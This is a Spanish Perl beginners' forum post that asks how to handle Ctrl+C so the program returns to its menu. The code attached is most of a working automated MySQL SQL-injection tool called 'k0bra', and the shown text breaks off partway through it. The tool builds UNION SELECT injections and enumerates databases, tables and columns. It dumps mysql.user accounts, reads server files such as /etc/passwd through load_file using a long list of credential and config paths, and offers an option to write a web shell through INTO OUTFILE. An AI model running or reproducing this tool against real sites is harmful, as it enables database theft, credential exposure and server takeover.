• Publicidad

Ayuda con control+c

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Ayuda con control+c

Notapor BigBear » 2011-11-22 08:46 @406

Hola, estaba mejorando este herramienta para seguridad web que tengo desde hace tiempo y quiero que si se teclea control+C el código retorne al menú sin problemas. El problema es lo que he intentado con

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. $SIG{INT} = \&reload;
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


Pero solo me retorna un valor numérico.

El código es el siguiente:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!usr/bin/perl
  2. #k0bra 1.5
  3. #Console version
  4. #Automatic SQL Scanner for MYSQL
  5. #(c)0ded By Doddy H
  6. #
  7. #
  8. #C:\Users\DoddyH>perl k0bra.pl http://127.0.0.1/sql.php?id= --
  9. #
  10. #
  11. #
  12. #
  13. # @      @@   @
  14. #@@     @  @ @@
  15. # @ @@  @  @  @ @   @ @ @@@
  16. # @ @   @  @  @@ @ @@@ @  @
  17. # @@    @  @  @  @  @   @@@
  18. # @ @   @  @  @  @  @  @  @
  19. #@@@ @   @@   @@@  @@@ @@@@@
  20. #
  21. #
  22. #
  23. #
  24. #[Status] : Scanning.....
  25. #[Status] : Enjoy the menu
  26. #
  27. #[Target confirmed] : http://127.0.0.1/sql.php?id=-1+union+select+hackman,2,3
  28. #[Bypass] : --
  29. #
  30. #
  31. #
  32. #--== information_schema.tables ==--
  33. #
  34. #[1] : Show tables
  35. #[2] : Show columns
  36. #[3] : Show DBS
  37. #[4] : Show tables witg other DB
  38. #[5] : Show columns with other DB
  39. #
  40. #
  41. #--== mysql.user ==--
  42. #
  43. #[6] : Show users
  44. #
  45. #
  46. #--== Others ==--
  47. #
  48. #[7] : Fuzzing tables
  49. #[8] : Fuzzing columns
  50. #[9] : Fuzzing files with load_file
  51. #[10] : Dump
  52. #[11] : Informacion of the server
  53. #[12] : Create a shell with into outfile
  54. #[13] : Show Log
  55. #[14] : Exit
  56. #
  57. #
  58. #[Option] : Enjoy this program xDDDDD
  59. #
  60.  
  61. system('cls');
  62. system ("title k0bra");
  63.  
  64.  
  65. my @files =
  66.  
  67. ('C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini',
  68.  
  69. '../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/
  70.  
  71. httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-
  72.  
  73. scripts/ifcfg-eth0','/etc/redhat-
  74.  
  75. release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/h
  76.  
  77. ttpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/ap
  78.  
  79. ache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/acce
  80.  
  81. ss_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log',
  82.  
  83. '/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/securi
  84.  
  85. ty/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log',
  86.  
  87. '/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_
  88.  
  89. log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/la
  90.  
  91. mpp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/lo
  92.  
  93. gs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs
  94.  
  95. \error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/htt
  96.  
  97. pd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/ht
  98.  
  99. tpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.c
  100.  
  101. onf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd
  102.  
  103. /httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/priva
  104.  
  105. te/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf
  106.  
  107. \httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/loc
  108.  
  109. al/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','
  110.  
  111. /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/et
  112.  
  113. c/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/
  114.  
  115. php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/ap
  116.  
  117. ache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/
  118.  
  119. php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:
  120.  
  121. \php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer
  122.  
  123. \bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache
  124.  
  125. \php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/l
  126.  
  127. ogs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-
  128.  
  129. bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles
  130.  
  131. \MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL
  132.  
  133. \MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles
  134.  
  135. \MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL
  136.  
  137. \MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL
  138.  
  139. \my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proft
  140.  
  141. pd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog'
  142.  
  143. ,'/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-
  144.  
  145. ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-
  146.  
  147. config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-
  148.  
  149. ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-
  150.  
  151. proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/va
  152.  
  153. r/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog');
  154.  
  155. use LWP::UserAgent;
  156. use URI::Split qw(uri_split);
  157.  
  158. installer();
  159.  
  160. my $nave = LWP::UserAgent->new();
  161. $nave->timeout(5);
  162. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  163.  
  164. $SIG{INT} = \&control;
  165.  
  166. &head;
  167. unless(@ARGV == 2) {
  168. &menu;
  169. } else {
  170. &scan($ARGV[0],$ARVG[1]);
  171. }
  172. &finish;
  173.  
  174. sub menu {
  175. print "[Page] : ";
  176. chomp(my $page=<STDIN>);
  177. print "\n[Bypass : -- /* %20] : ";
  178. chomp(my $bypass = <STDIN>);
  179. print "\n\n";
  180. &scan($page,$bypass);
  181. }
  182.  
  183. sub scan {
  184. print "[Status] : Scanning.....\n";
  185. $pass = &bypass($_[1]);
  186. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  187. my $save = $auth;
  188. if ($_[0]=~/hackman/ig) {
  189. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  190. &menu_options($_[0],$pass,$save);
  191. }
  192. my ($gen,$save,$control) = &length($_[0],$_[1]);
  193. if ($control eq 1) {
  194. print "[Status] : Enjoy the menu\n\n";
  195. &menu_options($gen,$pass,$save);
  196. } else {
  197. print $control;
  198. print "[Status] : Length columns not found\n\n";
  199. <STDIN>;
  200. &head;
  201. &menu;
  202. }
  203. }
  204.  
  205. sub head {
  206. system 'cls';
  207. print qq(
  208.  
  209.  
  210.  @      @@   @            
  211. @@     @  @ @@            
  212.  @ @@  @  @  @ @   @ @ @@@
  213.  @ @   @  @  @@ @ @@@ @  @
  214.  @@    @  @  @  @  @   @@@
  215.  @ @   @  @  @  @  @  @  @
  216. @@@ @   @@   @@@  @@@ @@@@@
  217.  
  218.  
  219.  
  220.  
  221. );
  222. }
  223.  
  224. sub length {
  225. my $rows  = "0";
  226. my $asc;
  227. my $page = $_[0];
  228. ($pass1,$pass2) = &bypass($_[1]);
  229. $inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
  230. $code = toma($inyection);
  231. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~
  232.  
  233. /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su
  234.  
  235. sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  236.  
  237. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  238. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  239.  
  240. unless ($testar1 eq $testar2) {
  241. my $patha = $1;
  242. chomp $patha;
  243. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  244. $total = "1";
  245. for my $rows(2..200) {
  246. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  247. $total.= ",".$rows;
  248. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  249. $test = toma($injection);
  250. if ($test=~/RATSXPDOWN/) {
  251. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  252. $control = 1;
  253. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  254. my $save = $auth;
  255. savefile($save.".txt","\n[Target confirmed] : $page");
  256. savefile($save.".txt","[Bypass] : $_[1]\n");
  257. savefile($save.".txt","[Limit] : The site has $rows columns");
  258. savefile($save.".txt","[Data] : The number @number print data");
  259. if ($patha) {
  260. savefile($save.".txt","[Full Path Discloure] : $patha");
  261. }
  262. $total=~s/$number[0]/hackman/;
  263. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  264. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  265. }
  266. }
  267. }
  268. }
  269. }
  270.  
  271. sub details {
  272. my ($page,$bypass,$save) = @_;
  273. ($pass1,$pass2) = &bypass($bypass);
  274. savefile($save.".txt","\n");
  275. if ($page=~/(.*)hackman(.*)/ig) {
  276. print "\n\n[+] Searching information..\n\n";
  277. my  ($start,$end) = ($1,$2);
  278. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  279. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  280. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  281. $test1 = toma($inforschema);
  282. $test2 = toma($mysqluser);
  283. if ($test2=~/ERTOR854/ig) {
  284. savefile($save.".txt","[mysql.user] : ON");
  285. print "[mysql.user] : ON\n";
  286. } else {
  287. print "[mysql.user] : OFF\n";
  288. savefile($save.".txt","[mysql.user] : OFF");
  289. }
  290. if ($test1=~/ERTOR854/ig) {
  291. print "[information_schema.tables] : ON\n";
  292. savefile($save.".txt","[information_schema.tables] : ON");
  293. } else {
  294. print "[information_schema.tables] : OFF\n";
  295. savefile($save.".txt","[information_schema.tables] : OFF");
  296. }
  297. if ($test3=~/ERTOR854/ig) {
  298. print "[+] load_file permite ver los archivos\n";
  299. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  300. }
  301. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char
  302.  
  303. (69,82,84,79,82,56,53,52))))";
  304. $injection = $start.$concat.$end.$pass2;
  305. $code = toma($injection);
  306. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  307. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  308. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  309. } else {
  310. print "\n[-] Not found any data\n";
  311. }
  312. }
  313. }
  314.  
  315. sub menu_options {
  316.  
  317. menua:
  318.  
  319. print "[Target confirmed] : $_[0]\n";
  320. print "[Bypass] : $_[1]\n\n";
  321.  
  322. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  323. my $save = $auth;
  324. print "[save] : /logs/webs/$save\n\n";
  325. print "\n\n--== information_schema.tables ==--\n\n";
  326. print "[1] : Show tables\n";
  327. print "[2] : Show columns\n";
  328. print "[3] : Show DBS\n";
  329. print "[4] : Show tables with other DB\n";
  330. print "[5] : Show columns with other DB\n";
  331. print "\n\n--== mysql.user ==--\n\n";
  332. print "[6] : Show users\n";
  333. print "\n\n--== Others ==--\n\n";
  334. print "[7] : Fuzzing files with load_file\n";
  335. print "[8] : Dump\n";
  336. print "[9] : Informacion of the server\n";
  337. print "[10] : Create a shell with into outfile\n";
  338. print "[11] : Show Log\n";
  339. print "[12] : Change Target\n";
  340. print "[13] : Exit\n";
  341. print "\n\n[Option] : ";
  342. chomp(my $opcion = <STDIN>);
  343. if ($opcion eq "1") {
  344. schematables($_[0],$_[1],$save);
  345. &reload;       
  346. }
  347. elsif ($opcion eq "2") {
  348. print "\n\n[Tabla] : ";
  349. chomp(my $tabla = <STDIN>);
  350. schemacolumns($_[0],$_[1],$save,$tabla);
  351. &reload;
  352. }
  353. elsif ($opcion eq "3") {
  354. &schemadb($_[0],$_[1],$save);
  355. &reload;
  356. }
  357. elsif ($opcion eq "4") {
  358. print "\n\n[DAtabase] : ";
  359. chomp(my $data =<STDIN>);
  360. &schematablesdb($_[0],$_[1],$data,$save);
  361. &reload;
  362. }
  363. elsif ($opcion eq "5"){
  364. print "\n\n[DB] : ";
  365. chomp(my $db =<STDIN>);
  366. print "\n[Table] : ";
  367. chomp(my $table =<STDIN>);
  368. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  369. &reload;
  370. }
  371. elsif ($opcion eq "6") {
  372. &mysqluser($_[0],$_[1],$save);
  373. &reload;
  374. }
  375. elsif ($opcion eq "7") {
  376. &load($_[0],$_[1],$save);
  377. &reload;
  378. }
  379. elsif ($opcion eq "8") {
  380. print "\n\n[Table to dump] : ";
  381. chomp(my $tabla = <STDIN>);
  382. print "\n[Column 1] : ";
  383. chomp(my $col1 = <STDIN>);
  384. print "\n[Column 2] : ";
  385. chomp(my $col2 = <STDIN>);
  386. print "\n\n";
  387. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  388. &reload;
  389. }
  390. elsif ($opcion eq "9") {
  391. print "\n\n";
  392. &details($_[0],$_[1],$save);
  393. &reload;
  394. }
  395. elsif ($opcion eq "10") {
  396. print "\n\n[Full Path Discloure] : ";
  397. chomp(my $path = <STDIN>);
  398. &into($_[0],$_[1],$path,$save);
  399. &reload;
  400. }
  401. elsif ($opcion eq "11") {
  402. $t = "logs/webs/$save.txt";
  403. system("start $t");
  404. &reload;
  405. }
  406. elsif ($opcion eq "12") {
  407. &head;
  408. &menu;
  409. }
  410.  
  411. elsif ($opcion eq "13") {
  412. &finish;
  413. }
  414. else {
  415. &reload;
  416. }
  417. }
  418.  
  419. sub schematables {
  420.  
  421. $real = "1";
  422. my ($page,$bypass,$save) = @_;
  423. savefile($save.".txt","\n");
  424. print "\n";
  425. my $page1 = $page;
  426. ($pass1,$pass2) = &bypass($_[1]);
  427. savefile($save.".txt","[DB] : default");
  428. print "[+] Searching tables with schema\n\n";
  429. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  430. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  431. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  432. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  433. my $resto = $1;
  434. $total = $resto - 17;
  435. print "[+] Tables Length :  $total\n\n";
  436. savefile($save.".txt","[+] Searching tables with schema\n");
  437. savefile($save.".txt","[+] Tables Length :  $total\n");
  438. my $limit = $1;
  439. for my $limit(17..$limit) {
  440. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  441. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  442. my $table = $1;
  443. chomp $table;
  444. print "[Table $real Found : $table ]\n";
  445. savefile($save.".txt","[Table $real Found : $table ]");
  446. $real++;
  447. }}
  448. } else {
  449. print "\n[-] information_schema = ERROR\n";
  450. }        
  451. }
  452. sub reload {
  453. print "\n\n[+] Finish\n\n";
  454. <STDIN>;
  455. &head;
  456. &menu_options;
  457. }
  458.  
  459.  
  460. sub schemacolumns {
  461. my ($page,$bypass,$save,$table) = @_;
  462. my $page3 = $page;
  463. my $page4 = $page;
  464. savefile($save.".txt","\n");
  465. print "\n";
  466. ($pass1,$pass2) = &bypass($bypass);
  467. print "\n[DB] : default\n";
  468. savefile($save.".txt","[DB] : default");
  469. savefile($save.".txt","[Table] : $table\n");
  470. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  471. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  472. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  473. print "\n[Columns Length : $1 ]\n\n";
  474. savefile($save.".txt","[Columns Length : $1 ]\n");
  475. my $si = $1;
  476. chomp $si;
  477. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  478. $real = "1";
  479. for my $limit2(0..$si) {
  480. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  481. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  482. print "[Column $real] : $1\n";
  483. savefile($save.".txt","[Column $real] : $1");
  484. $real++;
  485. }}
  486. } else {
  487. print "\n[-] information_schema = ERROR\n";
  488. }}
  489.  
  490. sub schemadb {
  491. my ($page,$bypass,$save) = @_;
  492. my $page1 = $page;
  493. savefile($save.".txt","\n");
  494. print "\n\n[+] Searching DBS\n\n";
  495. ($pass1,$pass2) = &bypass($bypass);
  496. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  497. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  498. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  499. my $limita = $1;
  500. print "[+] Databases Length : $limita\n\n";
  501. savefile($save.".txt","[+] Databases Length : $limita\n");
  502. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  503. $real = "1";
  504. for my $limit(0..$limita) {
  505. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  506. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  507. my $control = $1;
  508. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  509. print "[Database $real Found] $control\n";
  510. savefile($save.".txt","[Database $real Found] : $control");
  511. $real++;
  512. }
  513. }
  514. }
  515. } else {
  516. print "[-] information_schema = ERROR\n";
  517. }
  518. }
  519.  
  520. sub schematablesdb {
  521. my $page = $_[0];
  522. my $db = $_[2];
  523. my $page1 = $page;
  524. savefile($_[3].".txt","\n");
  525. print "\n\n[+] Searching tables with DB $db\n\n";
  526. ($pass1,$pass2) = &bypass($_[1]);
  527. savefile($_[3].".txt","[DB] : $db");
  528. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  529. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  530. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  531. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  532. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  533. print "[+] Tables Length :  $1\n\n";
  534. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  535. my $limit = $1;
  536. $real = "1";
  537. for my $lim(0..$limit) {
  538. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  539. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  540. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  541. my $table = $1;
  542. chomp $table;
  543. savefile($_[3].".txt","[Table $real Found : $table ]");
  544. print "[Table $real Found : $table ]\n";
  545. $real++;
  546. }}
  547. } else {
  548. print "\n[-] information_schema = ERROR\n";
  549. }}
  550.  
  551. sub schemacolumnsdb {
  552. my ($page,$bypass,$db,$table,$save) = @_;
  553. my $page3 = $page;
  554. my $page4 = $page;
  555. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  556. savefile($save.".txt","\n");
  557. ($pass1,$pass2) = &bypass($_[1]);
  558. savefile($save.".txt","\n[DB] : $db");
  559. savefile($save.".txt","[Table] : $table");
  560. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  561. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  562.  
  563. ($db).")".$pass2);
  564. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  565. print "\n[Columns length : $1 ]\n\n";
  566. savefile($save.".txt","[Columns length : $1 ]\n");
  567. my $si = $1;
  568. chomp $si;
  569. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  570. $real = "1";
  571. for my $limit2(0..$si) {
  572. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  573.  
  574. ($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  575. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  576. print "[Column $real] : $1\n";
  577. savefile($save.".txt","[Column $real] : $1");
  578. $real++;
  579. }
  580. }
  581. } else {
  582. print "\n[-] information_schema = ERROR\n";
  583. }
  584. }
  585.  
  586. sub mysqluser {
  587. my ($page,$bypass,$save) = @_;
  588. my $cop = $page;
  589. my $cop1 = $page;
  590. savefile($save.".txt","\n");
  591. print "\n\n[+] Finding mysql.users\n";
  592. ($pass1,$pass2) = &bypass($bypass);
  593. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  594. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  595. if ($code=~/RATSXPDOWN/ig){
  596. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  597. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  598. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  599. print "\n\n[+] Users Found : $1\n\n";
  600. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  601. for my $limit(0..$1) {
